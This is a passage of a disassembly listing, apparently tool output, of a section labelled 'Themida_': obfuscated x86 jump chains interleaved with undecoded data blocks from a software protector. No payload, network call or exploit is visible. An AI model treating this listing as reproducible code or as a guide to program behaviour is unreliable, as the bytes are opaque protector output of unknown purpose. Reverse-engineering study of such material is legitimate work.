		dd 4C6h, 4C68300h, 8B243487h, 76E92424h, 0B8FFFFCCh, 33347915h
		dd 2958C529h, 3E95DE8h,	87FFFFD7h, 248B2404h, 29C9E924h
		dd 27E90000h, 21FFFFB8h, 0E99C2404h, 0FFFFB81Eh, 3D9E82Dh
		dd 641EE94Fh, 0C8B0000h, 0EC815024h, 4,	89243C89h, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 8924248Bh, 4832424h, 51580424h
		dd 4B9h, 59C80100h, 0FFCE22E9h,	34C681FFh, 5D68D921h, 4BF57h
		dd 0FE010000h, 74FF565Fh, 9EE90424h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548DC7:				; CODE XREF: Themida_:0054F30Bj
		pop	edx
		jmp	loc_545202
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0FFCEB1E9h, 4C481FFh, 81000000h, 9259A5E2h, 0CAE9425Eh
		dd 0C1FFFFEEh, 0C98107E9h, 0C21580Dh, 9ABC181h,	0CEE91CDFh
		dd 0B3000073h, 0E9C3FE3Ch, 4923h, 72EF3F05h, 6821E971h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548E0E:				; CODE XREF: Themida_:00547A9Aj
		shr	esi, 5
		jmp	loc_54B68D
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 9EB85024h, 681F8477h, 0
		dd 58240429h, 0FD25D8F7h, 0E92A3D64h, 0FFFFFFD0h
; ---------------------------------------------------------------------------


loc_548E34:				; CODE XREF: Themida_:0054FA1Cj
		push	6C7D45EDh
		jmp	loc_54A974
; ---------------------------------------------------------------------------
		dw 0CCBBh
		dd 314ABF06h, 89565BDEh, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 0C19EE95Ch, 665CFFFFh, 2404AB0Fh, 0B720E99Ch, 6866FFFFh
		dd 89666FF2h, 13E9240Ch
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548E77:				; CODE XREF: Themida_:00549826j
		pop	eax
		shr	bl, 2
		push	ecx
		jmp	loc_546A6E
; ---------------------------------------------------------------------------
		db 45h,	81h, 0F5h
a_jzsi		db '°_JZИ╗',8,0
		db 0
; ---------------------------------------------------------------------------


loc_548E8D:				; CODE XREF: Themida_:0054552Fj
		sub	edx, 46DB4381h
		add	ebx, edx
		pop	edx
		add	ebx, 96D6ACE0h
		and	eax, ebx
		jmp	loc_54DEE2
; ---------------------------------------------------------------------------
		db 81h
		dd 233E26C2h, 14875846h, 0C4835C24h, 2424D304h,	0FFB6D1E9h
		dd 0C8B66FFh, 58DFE924h, 0E9420000h, 8CAh
; ---------------------------------------------------------------------------


loc_548EC8:				; CODE XREF: Themida_:0054A70Dj
		mov	[esp], edx
		mov	edx, 9713358h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0F4730E4h
		shr	esi, 8
		not	esi
		or	esi, 30CE6A4Ch
		shr	esi, 8
		jmp	loc_549009
; ---------------------------------------------------------------------------


loc_548EEE:				; CODE XREF: Themida_:0054F380j
		mov	[esp], ebx
		jmp	loc_5488E1
; ---------------------------------------------------------------------------
aPsWC0Slp	db 'PSЁW╢Г0эИlp',0
		dw 0FF00h
		dd 0E95B2434h, 0FFFFF08Eh, 0BF243C89h, 4, 4247C01h, 5F2434FFh
		dd 8B04C483h, 26E92414h, 8B000022h, 0EC832404h,	24048904h
		dd 528968h, 24248900h, 4240483h, 5224048Bh, 0C281E289h
		dd 4, 0FFE29DE9h, 5DE929FFh, 0BB049E2Dh, 5C8016Fh, 6FBB049Eh
		dd 0D1E95759h, 81FFFFE2h, 0DF4F1BEAh, 0E9D1891Fh, 0FFFFC29Dh
		dd 24148B66h, 5E08950h,	4, 0E902C083h, 54B6h, 0E9C0C9FEh
		dd 55F18002h, 46E9C828h, 3400006Ch, 33E95191h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548F9B:				; CODE XREF: Themida_:00550582j
		and	eax, edx
		jmp	loc_545152
; ---------------------------------------------------------------------------


loc_548FA2:				; CODE XREF: Themida_:0054F736j
		and	eax, ebx
		pop	ebx
		shr	eax, 18h
		xor	eax, ecx
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		jmp	loc_54A1AB
; ---------------------------------------------------------------------------


loc_548FB8:				; CODE XREF: Themida_:0054BA9Aj
		sub	edx, 0A271AD94h
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	5E08h
		mov	[esp], esi
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		push	59B47957h
		pop	edx
		shr	edx, 6
		shl	edx, 5
		push	edi
		mov	edi, 51F60A94h
		add	edi, 0A1761D8Eh
		jmp	loc_549CBD
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 56000000h, 0C6815E54h, 4, 7471E9h
		db 0
; ---------------------------------------------------------------------------


loc_549009:				; CODE XREF: Themida_:00548EE9j
		sub	esi, 0E182F712h
		sub	edx, esi
		jmp	loc_54BA99
; ---------------------------------------------------------------------------
		dw 0F830h
		dd 83241C8Bh, 2C8904ECh, 2C8B5424h, 4C48324h, 4C581h, 51570000h
		dd 6D1F06B9h, 52D1F71Eh, 92E0FDBAh, 5AD131E1h, 159CF89h
		dd 0FF555FFDh, 5D042474h, 5CF8E9h, 5BDE3100h, 89F08950h
		dd 92E958C7h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54905F:				; CODE XREF: Themida_:00544927j
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		jmp	loc_54EF89
; ---------------------------------------------------------------------------


loc_54907A:				; CODE XREF: Themida_:005504C8j
		xor	edi, ecx
		jmp	loc_547BBF
; ---------------------------------------------------------------------------
		db 5Ch,	51h, 0B9h
		dd 21EE4189h, 58DDF181h, 0E1C146FCh, 4E1C102h, 8102E1C1h
		dd 0E6AC04C1h, 5643E9EDh, 0B9510000h, 4, 3646E32Dh, 0E9C8017Dh
		dd 0FFFFBE67h, 0C281E289h, 4, 0E904EA83h, 502Dh, 12E9C289h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5490CB:				; CODE XREF: Themida_:0054FDBFj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5446F4
; ---------------------------------------------------------------------------


loc_5490D6:				; CODE XREF: Themida_:0054F951j
		pop	esp
		push	35D2h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 78434E70h
		mov	ebx, 0D3E790EEh
		sub	ebx, ebp
		jmp	loc_54A207
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 19D2E904h, 0C6830000h, 24343304h, 33243431h,	248B2434h
		dd 68A3E924h, 0C3810000h, 2, 900E9h, 1C77FF00h,	1058669Dh
		dd 0E99C2404h, 0FFFFB45Ah, 541BE959h, 0C4830000h, 7CBA5204h
		dd 0E96FD653h, 72B7h
; ---------------------------------------------------------------------------


loc_549144:				; CODE XREF: Themida_:005445B7j
		and	edx, 23B91BE9h
		not	edx
		push	esi
		jmp	loc_54B8FF
; ---------------------------------------------------------------------------
		dw 61BBh
		dd 89A3FCA1h, 0AAE95BDDh, 64000007h, 2B60F66h, 63996866h
		dd 24048966h, 0FFB419E9h, 0A6E381FFh, 50356F67h, 0A96676B8h
		dd 58C3210Dh, 1963E9h, 4A020500h, 402D75E9h, 297A0860h
		dd 604005F8h, 6B687A08h, 89000050h, 2BB241Ch, 2975E94Ah
		dd 3324E9D8h, 0F7810000h, 4468256Bh, 0A9F4C781h, 0F9293EE7h
		dd 57243C8Bh, 0C781E789h, 4, 8704C783h,	5A5C243Ch, 8B240C87h
		dd 0F662424h, 6866C8BEh, 896653C6h, 0A7E9240Ch,	81FFFFB3h
		dd 4C6h, 24348700h, 20EAE9h, 0E9F08900h, 0FFFFD3E3h
; ---------------------------------------------------------------------------


loc_5491F8:				; CODE XREF: Themida_:0054BECCj
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		jmp	loc_5473F3
; ---------------------------------------------------------------------------
aRSS?		db ',хR╡≤(пИ^?',0
		dw 8300h
		dd 0B95104C4h, 2, 5969E9h, 0C2815E00h, 2, 31241433h, 14332414h
		dd 19A6E924h, 0C310000h, 240C3324h, 64E3E95Ch, 0C4830000h
		dd 0C007E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549246:				; CODE XREF: Themida_:0054E073j
		push	ecx
		mov	ecx, 77B8679Fh
		jmp	loc_544B5B
; ---------------------------------------------------------------------------
		db 0FEh, 0C9h, 80h
		dd 0CE3090C1h, 81240C8Bh, 4C4h,	0AEF68000h, 0FFC01FE9h
		dd 241C89FFh, 0C381E389h, 4, 482BE9h
		db 0
; ---------------------------------------------------------------------------


loc_549279:				; CODE XREF: Themida_:0054A80Cj
		and	edx, 7D67E65h
		sub	edx, 5567820h
		add	eax, 82E5256h
		add	eax, edx
		sub	eax, 82E5256h
		pop	edx
		add	eax, 4
		jmp	loc_55022E
; ---------------------------------------------------------------------------
		dw 315Fh
		dd 24148BD0h, 8304C483h, 3C8904ECh, 107BBF24h, 0B8505EE5h
		dd 528C0044h, 6E70EF81h, 0C78126AAh, 6AA950F4h,	6C29EF81h
		dd 0C729681Eh, 689CE9h,	2434FF00h, 4C4815Ah, 83000000h
		dd 3C3302C7h, 243C3124h, 8B243C33h, 2CD32424h, 0CE99C24h
		dd 5FFFFD8h, 4,	0FFD106E9h, 8BC781FFh, 128B423h, 0D241E9EFh
		dd 5366FFFFh, 4BABE9h, 243C8900h, 5BE9E789h, 5000030h
		dd 25FE7EA3h, 650BE9h
		db 0
; ---------------------------------------------------------------------------


loc_549321:				; CODE XREF: Themida_:0054E5D9j
		push	ebp
		mov	ebp, 6E0F595Ch
		push	3F0Eh
		mov	[esp], ecx
		mov	ecx, 9270A6A4h
		add	ebp, 14C818E5h
		sub	ebp, 48A76451h
		add	ebp, ecx
		add	ebp, 48A76451h
		jmp	loc_549718
; ---------------------------------------------------------------------------


loc_54934D:				; CODE XREF: Themida_:0054B595j
		pop	ebx
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	edx
		mov	edx, 2
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		add	[esp], ax
		pushf
		jmp	loc_54458A
; ---------------------------------------------------------------------------
		dd 24048F54h, 47C068h, 24048900h, 4B8h,	24440100h, 24048B04h
		dd 0FFD2C7E9h, 65E95CFFh, 5100002Ah, 4B9h, 5ABD5500h, 452FD125h
		dd 25ED814Dh, 1F7310Dh,	0F289E9EEh, 34FFFFFFh, 2434FF24h
		dd 4C4835Eh, 0E9E38953h, 1AEh
; ---------------------------------------------------------------------------


loc_5493C4:				; CODE XREF: Themida_:0054D24Aj
		sub	cl, 0BBh
		sub	cl, 30h
		push	eax
		jmp	loc_545B20
; ---------------------------------------------------------------------------
		dd 8B240433h, 50512424h, 405E089h, 83000000h, 48704E8h
		dd 4895C24h, 68D08824h,	69A7h, 0E9241489h, 0FFFFDF73h
; ---------------------------------------------------------------------------


loc_5493F8:				; CODE XREF: Themida_:00547202j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_54B6F7
; ---------------------------------------------------------------------------
		db 97h
		dd 9E98EF81h, 90E9AB0Ah
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54940F:				; CODE XREF: Themida_:005451CFj
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	4A8Fh
		jmp	loc_54F215
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFB15DE9h, 0B8C681FFh, 510CD451h, 4EC81h, 3C890000h
		dd 205C6824h, 0BAE92580h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549447:				; CODE XREF: Themida_:0054BCADj
		sub	ebp, 18D015C3h
		add	ebp, 231D5248h
		jmp	loc_549D24
; ---------------------------------------------------------------------------


loc_549458:				; CODE XREF: Themida_:00547A1Aj
		add	ebp, 4
		push	esi
		jmp	loc_54E46D
; ---------------------------------------------------------------------------


loc_549464:				; CODE XREF: Themida_:0054CC83j
		xor	edi, 142B07B9h
		add	edi, 0B4AFC532h
		sub	edi, ecx
		xchg	edi, ecx
		pop	edi
		not	ecx
		add	ecx, 2E033417h
		shr	ecx, 2
		add	ecx, 0F10328AEh
		add	ebp, ecx
		jmp	loc_54B62C
; ---------------------------------------------------------------------------


loc_54948D:				; CODE XREF: Themida_:00545155j
		add	esp, 4
		shr	eax, 0Ah
		jmp	loc_54D8C4
; ---------------------------------------------------------------------------
		db 88h
		dd 88D1F6D1h, 34A3E9CAh, 1C890000h, 0E905B324h,	3609h
; ---------------------------------------------------------------------------


loc_5494B0:				; CODE XREF: Themida_:0054615Aj
		mov	edx, 3C6FDA62h
		xor	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54CE05
; ---------------------------------------------------------------------------


loc_5494C2:				; CODE XREF: Themida_:00547DBAj
		pop	ebx
		pop	ecx
		pop	ebx
		add	bl, al
		push	dword ptr [esp]
		jmp	loc_54F6B2
; ---------------------------------------------------------------------------
		db 0B4h
		dd 885366D4h, 88D7F6E7h, 805B66FCh, 0E1282AECh,	80C9FE58h
		dd 5E921E9h, 35000033h,	0EF708CFEh, 0D281E957h,	8142FFFFh
		dd 0DE130F2h, 0FFD689C9h, 0E95A2434h, 296Bh, 53E18951h
		dd 4BBh, 15E98100h, 8137FC04h, 0FF35B0E9h, 81D9013Eh, 0FF35B0C1h
		dd 15C1813Eh, 8B37FC04h, 0E955241Ch, 69E3h, 8324048Fh
		dd 0E9042404h, 2AABh, 68242C89h, 0FFFFFBFFh, 0FFD5B3E9h
		dd 24248BFFh, 4245C31h,	0E9241C8Bh, 0FFFFD4CEh,	6624248Bh
		dd 5624048Bh, 4EC81h, 24890000h, 6976E924h, 0C3810000h
		dd 4, 0FFB0EAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54957D:				; CODE XREF: Themida_:0054EA88j
		mov	edx, [esp]
		jmp	loc_545D81
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E924048Bh, 210Ah, 4ABDCB81h, 85E92252h, 8BFFFFDAh
		dd 0C4832434h, 6FB96804h, 2C890000h, 2C8B5424h,	4C48324h
		dd 4B951h, 0CD010000h, 0D788E959h, 429FFFFh, 4EC8324h
		dd 53A6E9h, 10B85000h, 0C16E5373h, 0D82505E0h, 522C120Bh
		dd 3CB6E9h, 6935B900h, 88E95748h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5495E7:				; CODE XREF: Themida_:0054EFB4j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	2ABCh
		mov	[esp], ecx
		mov	ecx, 5B5D089Bh
		inc	ecx
		jmp	loc_54D609
; ---------------------------------------------------------------------------


loc_549603:				; CODE XREF: Themida_:00549C6Fj
		add	ecx, 4
		push	edi
		jmp	loc_546171
; ---------------------------------------------------------------------------
		db 83h
		dd 37E902C0h, 1FFFFF1h,	49415DE9h, 4D21E981h, 0CE31010Ch
		dd 0FFB278E9h, 0C1DEF7FFh, 0E95108EEh, 3C7Dh, 326853ADh
		dd 8B0DE749h, 8950241Ch, 0FCA9E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549646:				; CODE XREF: Themida_:00546D13j
		dec	ebx
		dec	ebx
		jmp	loc_54F120
; ---------------------------------------------------------------------------
		db 58h,	8Fh, 4
		dd 24248B24h, 0FFAF31E9h, 4BFFFh, 0EC830000h, 24048904h
		dd 6476D0B8h, 58C60160h, 0EE81FE01h, 606476D0h,	53243C8Bh
		dd 1E9E389h, 68FFFFD5h,	0C6Dh, 0BB241C89h, 36765D06h, 0F381DBF7h
		dd 0B3548EC7h, 0FFFAD8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549699:				; CODE XREF: Themida_:00544F16j
		sub	ebx, 2D483265h
		add	ebx, 60743EDCh
		add	ebx, edi
		sub	ebx, 60743EDCh
		add	ebx, 2D483265h
		push	eax
		mov	eax, 0
		add	eax, ebx
		mov	ecx, [eax]
		pop	eax
		jmp	loc_5468D5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 589D1C77h, 9C240411h, 0FFAEB9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5496D1:				; CODE XREF: Themida_:005480BCj
		and	ebx, edx
		pop	edx
		dec	ebx
		xor	ebx, 10BA9280h
		sub	ebp, ebx
		pop	ebx
		and	eax, ebp
		pop	ebp
		jmp	loc_545F17
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 638042FCh, 783EC281h, 0EA812EA5h, 485693A8h,	81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 1B9240Ch, 0E962443Ah
		dd 2CDBh
; ---------------------------------------------------------------------------


loc_549718:				; CODE XREF: Themida_:00549348j
		sub	ebp, 14C818E5h
		pop	ecx
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_54B6AA
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 5Bh
		dd 0F74E3A5Ah, 4BCDE9DDh, 50510000h, 6965DD68h,	76E95872h
		dd 0AD000022h, 3262E9h,	0C8B6600h, 50126824h, 1C890000h
		dd 6B1B6824h, 4890000h,	5E08924h, 4, 8704E883h,	895C2404h
		dd 0E9562424h, 0FFFFB077h, 0DC87E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549786:				; CODE XREF: Themida_:0054EEF1j
		pop	esi
		push	ecx
		mov	ecx, 5641171h
		jmp	loc_54B3F7
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 0FCEA8104h, 818A94C1h, 0D27830EBh, 0B4EB8168h, 81151322h
		dd 0D166E4EBh, 57D30179h, 3A53E956h, 0C1280000h, 59CA2858h
		dd 5AD588h, 835966E8h, 0C8904ECh, 80A9B124h, 0BBE9A0E9h
		dd 31FFFFB4h, 0ADB0E9C2h, 8B66FFFFh, 0EC83240Ch, 24348904h
		dd 0EB68E689h, 8900004Fh, 5550243Ch, 890B2EBDh,	8CCD8141h
		dd 872E7B74h, 87DFF7FDh, 0E9D5F7FDh, 3BCCh, 4EC81h, 1BE90000h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549813:				; CODE XREF: Themida_:0054EC37j
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		push	eax
		mov	al, 1Dh
		mov	bl, al
		jmp	loc_548E77
; ---------------------------------------------------------------------------
		db 89h
		dd 0DFB850E1h, 485A4626h, 101F3305h, 33DB351Eh,	95E923E1h
		dd 81FFFFDAh, 6640D5F2h, 0D692E91Dh, 30ACFFFFh,	5337E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549856:				; CODE XREF: Themida_:0054738Dj
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		shr	ecx, 7
		push	47D8h
		mov	[esp], ebx
		jmp	loc_54A9E5
; ---------------------------------------------------------------------------
		db 58h
		dd 61B55153h, 27E9D5F6h, 81FFFFDBh, 0BB5A98EBh,	1FBD5515h
		dd 31D37548h, 0DF015DEBh, 5FF9015Bh, 2BD55h, 8CE90000h
		dd 81FFFFE6h, 0FFFFFFC2h, 0BA5251FFh, 4678333Fh, 2EB5C281h
		dd 86E9BC83h, 81000002h, 4EDh, 242C3300h, 33242C31h, 545C242Ch
		dd 5524048Fh, 4BDh, 246C8100h, 9C335E04h, 0D02AE963h, 0E228FFFFh
		dd 0B7536658h, 5EFC0CAh, 0CF80D7F6h, 19F780A4h,	0EF80DFF6h
		dd 66FA085Fh, 81241C8Bh, 2C4h, 1FF28000h, 0FFF06AE9h, 5BDD29FFh
		dd 5235E9h, 0E97CB500h,	0FFFFF402h, 6EB5685Fh, 2C890000h
		dd 5F34E924h, 87590000h, 248B2414h, 2CD36624h, 53E99C24h
		dd 0ACFFFFACh, 5366D830h, 75B15152h, 0CA2867B2h, 0FFC728E9h
		dd 4C483FFh, 1C26CF81h,	0C7816CD5h, 375806D2h, 8101EF83h
		dd 4F2384F7h, 5FFA01A5h, 4C281h, 14870000h, 24248B24h
		dd 0FFDEC8E9h, 14E954FFh, 8300000Ch, 0E9042404h, 0FFFFE818h
; ---------------------------------------------------------------------------


loc_549984:				; CODE XREF: Themida_:0054F40Cj
		xchg	edx, [esp]
		pop	esp
		push	470Fh
		mov	[esp], ebx
		jmp	loc_547D40
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 0F8h
		dd 81725D2Ah, 862F9F3h,	2C38178h, 89FD28B4h, 0C6815BDAh
		dd 0D61635Ch, 3888EE81h, 0D60146D9h, 3888C681h,	0EE8146D9h
		dd 0D61635Ch, 8124148Bh, 4C4h, 4C68100h, 56000000h, 42474FFh
		dd 0FFE4BEE9h, 499AB9FFh, 0E9816D30h, 4C64F084h, 0C8BCE89h
		dd 4C48124h, 81000000h,	877514C6h, 0F8EE8131h, 0E908BE1Ch
		dd 0FFFFB756h, 0BE243489h, 0B463B19h, 0C15EF521h, 814504EDh
		dd 0A7096DEDh, 5DEB29AFh, 6860E9h, 241C8700h, 48B665Ch
		dd 4EC8324h, 83243489h,	8F5404ECh, 0EC812404h, 4, 0C87E9h
		dd 242C8900h, 5150E9h, 0B800h, 0C1890000h, 0D00E9h, 240C8900h
		dd 9A5234B9h, 244C290Fh, 2434FF04h, 83240C8Bh, 2CE904C4h
		dd 53FFFFC6h, 1D0C46BBh, 5BDA2923h, 15AD331h, 0EC815BD9h
		dd 4, 0BF243C89h, 4, 0E95FF901h, 1790h,	0FFC0B60Fh, 53568734h
		dd 0AF424DBBh, 77B9514Ah, 9359D4Fh, 240C8BCBh, 3C8CE9h
		db 0
; ---------------------------------------------------------------------------


loc_549AB1:				; CODE XREF: Themida_:0054FF99j
		push	ecx
		mov	cl, 0D4h
		shl	cl, 8
		jmp	loc_54D241
; ---------------------------------------------------------------------------
		dd 0EFC5815Ah, 5F011D1Bh, 0FFE2C7E9h, 243489FFh, 4BEh
		dd 0FFE98100h, 0E955BA6Dh, 5EC0h, 0E1F7665Ch, 8E06866h
		dd 24148966h, 0E99C5066h, 0FFFFAA9Ah
; ---------------------------------------------------------------------------


loc_549AF0:				; CODE XREF: Themida_:00545393j
		push	7F4602DBh
		pop	esi
		push	ebx
		mov	ebx, 75F7474Dh
		jmp	loc_544C84
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 4055Ch, 0EC830000h, 24348904h, 4BEh,	5EF00100h, 6AC4E9h
		dd 0ACA8100h, 81559E05h, 4ECh, 24348900h, 635790BEh, 44E8E97Dh
		dd 0F4880000h, 331EE9h,	0C1DAF700h, 3FE904EAh, 0B0000037h
		dd 0E9B40CB1h, 2B06h, 0E924048Fh, 0FFFFF306h, 53F068h
		dd 0F9DEE900h, 215CFFFFh, 34FF1C6Fh, 0DE8BE924h, 0C481FFFFh
		dd 4, 0FFBEE1E9h, 0A9468FFh, 1C890000h,	57E38924h, 725EBE56h
		dd 0C14E096Ah, 0C68108E6h, 17C84909h, 6292EE81h, 0F7894A41h
		dd 73F7815Eh, 137F943h,	0C3815FFBh, 4, 31241C33h, 1C33241Ch
		dd 0C1815C24h, 4, 4EC81h, 3C890000h, 4BF24h, 0F9290000h
		dd 240C335Fh, 33240C31h, 0B9E9240Ch, 55FFFFDCh,	4BDh, 7EA32D00h
		dd 0E80125FEh, 0FFF72AE9h, 268FFh, 15D0000h, 242C8BE8h
		dd 4BB9E955h, 92050000h, 119880Ah, 0A922DD8h, 4CE91988h
		dd 54FFFFC9h, 0E92434FFh, 4C85h, 0E958C729h, 0FFFFEC70h
		dd 2029BE56h, 0BB536B09h, 13D74FC5h, 1998E381h,	5FE97E11h
		dd 83FFFFAFh, 48E904ECh, 0B500004Ch, 54F65100h,	80590124h
		dd 0C580E0E5h, 59EE8897h, 25E9052Ch
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549C57:				; CODE XREF: Themida_:0054E5B2j
		pop	edi
		push	ebp
		jmp	loc_54FA35
; ---------------------------------------------------------------------------
aAiSI		db '─К\SЁ╗',0
aStg		db 'ь[ИTg',0
		align 4


loc_549C6C:				; CODE XREF: Themida_:0054D3CFj
		push	ecx
		mov	ecx, esp
		jmp	loc_549603
; ---------------------------------------------------------------------------
		dd 15BD829h, 0BF5758C5h, 4, 5BD1ED81h, 0B6E94B5Bh, 0FF000028h
		dd 81592434h, 4ECh, 24148900h, 6770E9h
		db 0
; ---------------------------------------------------------------------------


loc_549C9D:				; CODE XREF: Themida_:00547525j
		neg	eax
		sub	eax, 0FFFFFFFFh
		add	eax, 4D7FAA97h
		or	ebx, eax
		pop	eax
		and	ebx, 68666276h
		inc	ebx
		jmp	loc_54C7A5
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 0FFEDF8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549CBD:				; CODE XREF: Themida_:00548FF0j
		sub	edx, edi
		pop	edi
		mov	ecx, edx
		jmp	loc_54DB90
; ---------------------------------------------------------------------------
		db 52h
		dd 37E9DBB6h, 0B8FFFFF6h, 22518B1h, 4024E953h, 0BB530000h
		dd 44A976B5h, 4AECE9h, 50AEB800h, 44290AD7h, 0F8E90824h
		dd 66FFFFD2h, 0E9240C8Bh, 0FFFFFB0Ch, 240C8B66h, 4BE5E9h
		db 0
; ---------------------------------------------------------------------------


loc_549D05:				; CODE XREF: Themida_:00544A08j
		add	ebp, 2
		xor	ebp, [esp]
		jmp	loc_54A184
; ---------------------------------------------------------------------------


loc_549D10:				; CODE XREF: Themida_:0054791Dj
		sub	ebp, eax
		jmp	loc_54E07F
; ---------------------------------------------------------------------------


loc_549D17:				; CODE XREF: Themida_:00549D37j
		pop	ebp
		jmp	loc_54BF8A
; ---------------------------------------------------------------------------


loc_549D1D:				; CODE XREF: Themida_:00549D9Ej
		push	ebp
		push	edi
		jmp	loc_54C31A
; ---------------------------------------------------------------------------


loc_549D24:				; CODE XREF: Themida_:00549453j
		add	ebp, 4BF01D56h
		pop	edx
		pop	esi
		push	edx
		mov	edx, 84EF7D94h
		add	ebp, edx
		pop	edx
		mov	ebx, ebp
		jmp	loc_549D17
; ---------------------------------------------------------------------------
		dd 0E9D13459h, 0FFFFFA72h, 4C381h, 1C870000h, 0DDE95C24h
		dd 0FFFFFFCBh, 535B2434h, 0BE56E389h, 4, 0FFC9EEE9h, 0B25266FFh
		dd 31CFE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549D6E:				; CODE XREF: Themida_:0054EC5Aj
		add	edi, 5D1D3F30h
		jmp	loc_54C663
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B3h
		dd 0E99C2404h, 6270h, 5C241C87h, 81243C89h, 3AD2434h, 0E1E934A2h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549D97:				; CODE XREF: Themida_:0054C2CDj
		add	esp, 4
		push	edx
		jmp	loc_549D1D
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFA7E2h, 0FC62F281h, 0D731B1FAh, 2DE7E95Ah, 0D8000000h
		dd 0E963B151h, 6089h, 575BDA09h, 8A33D1BFh, 2CEF8156h
		dd 0C17E7E4Ch, 0F78104E7h, 85666BE2h, 315FFA01h, 0F5815AD5h
		dd 4A6658Dh, 2C8BEF01h,	4C48124h, 81000000h, 2C7h, 243C3300h
		dd 33243C31h, 665C243Ch, 9C2424D3h, 0FFA781E9h,	885250FFh
		dd 5AF488DEh, 8858E588h, 34FF286Fh, 240C8B24h, 0E904C483h
		dd 0FFFFD6CCh, 0FFA761E9h, 240483FFh, 243C8B04h, 81E28952h
		dd 4C2h, 4C28100h, 33000000h, 14312414h, 24143324h, 4BE565Ch
		dd 1000000h, 0C7815EF7h, 2, 4F42E9h
		db 0
; ---------------------------------------------------------------------------


loc_549E5D:				; CODE XREF: Themida_:00547BC6j
		mov	esi, edi
		mov	edi, [esp]
		jmp	loc_54D101
; ---------------------------------------------------------------------------
		db 89h
		dd 6DE9240Ch, 0FFFFFFA8h, 148B2434h, 4C48124h, 81000000h
		dd 4ECh, 24348900h, 0C681E689h,	4, 8704C683h, 8B5C2434h
		dd 0C483240Ch, 6A636804h, 9DE90000h, 1FFFFE2h, 815A58C3h
		dd 2EBh, 241C8700h, 6624248Bh, 66241489h, 0CBE99C50h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549EBF:				; CODE XREF: Themida_:0054B714j
		add	esp, 4
		mov	ebp, [esp]
		push	691Dh
		mov	[esp], edi
		push	esp
		jmp	loc_54E2E7
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2404h, 4EC8324h,	83241C89h, 148904ECh, 0C9E95224h
		dd 66FFFFF1h, 5024048Bh, 2434FF54h, 396EE958h, 0F2810000h
		dd 4A9D5B6Dh, 1487E9h
		db 0
; ---------------------------------------------------------------------------


loc_549F05:				; CODE XREF: Themida_:00545A8Fj
		xchg	eax, [esp]
		jmp	loc_54A820
; ---------------------------------------------------------------------------
		db 68h,	4, 0
		dd 0E95E0000h, 0FFFFDB9Dh, 0CCE68h, 24348900h, 0A76641BEh
		dd 0D2AFE965h, 1C8BFFFFh, 4C48124h, 59000000h, 0EC815057h
		dd 4, 0FFFB14E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549F41:				; CODE XREF: Themida_:005447F2j
		pop	ebx
		or	dh, 78h
